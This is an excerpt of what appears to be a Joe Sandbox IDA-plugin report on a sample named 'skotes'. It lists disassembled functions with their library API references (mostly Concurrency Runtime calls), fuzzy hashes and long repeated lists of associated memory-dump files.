Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 7792a54a8815fe82b0ee362559943316a4dc0340b36881711c323282c9a8b182
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: A601D632A00534A7CF16EF649841AEFB7EB9F54350F100019FC12AB382DA71EE1197E0

Function 00629510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00629519

Part of subcall function 0061F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00625486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 0062953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00629550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00629559

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 9604d3797518e79d7f6831eaa7f09204de6116e2b8c74e22d451afe33e4e0957
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: C2F0A030700E305FE6A2AB68A811FAA23D79F80711F00841DE41BA7682CE24E846CFA5

Function 0063F1BF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0063F232
__freea.LIBCMT ref: 0063F298

Part of subcall function 0063B04B: RtlAllocateHeap.NTDLL(00000000,8FC8FEA1,?,?,0061D3FC,8FC8FEA1,?,00617A8B,?,?,?,?,?,?,00607465,?), ref: 0063B07E

Strings

Zc,mc, xrefs: 0063F1D2

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap__alloca_probe_16__freea
String ID: Zc,mc
API String ID: 809856575-1271613949
Opcode ID: 5745a3e71f27b0db568f59b6af626d3a07803fca5ae2dbfec918cfb88553c52d
Instruction ID: 8f878bd02a1c7e9ddc7ed8827aabe39c64a4fd8600a5f7f0eb10f5f4d0f48e3b
Opcode Fuzzy Hash: 5745a3e71f27b0db568f59b6af626d3a07803fca5ae2dbfec918cfb88553c52d
Instruction Fuzzy Hash: 6D318F71D0021AEBDB219FA5CC41EEF7BAAEF45310F054128F914A7251DB348A51C7E4

Function 00631704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00631764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006317AF

Strings

pContext, xrefs: 006317A7

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 2b52c1e1f9be81e6807d9454ca75ca574d82f436ae3afcaace27eb380e1ac57c
Instruction ID: d5117978b084190cfd74d9d2ad5ed08749cd18907ad9fda209fab9a61609a228
Opcode Fuzzy Hash: 2b52c1e1f9be81e6807d9454ca75ca574d82f436ae3afcaace27eb380e1ac57c
Instruction Fuzzy Hash: D2110635A002149BCF55EF18C8855AD77B7AF86361F098069EC029F342DB34DD05CBD0

Function 00620C5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 00620CD7
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 00620D2A

Strings

p[f, xrefs: 00620CCF

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
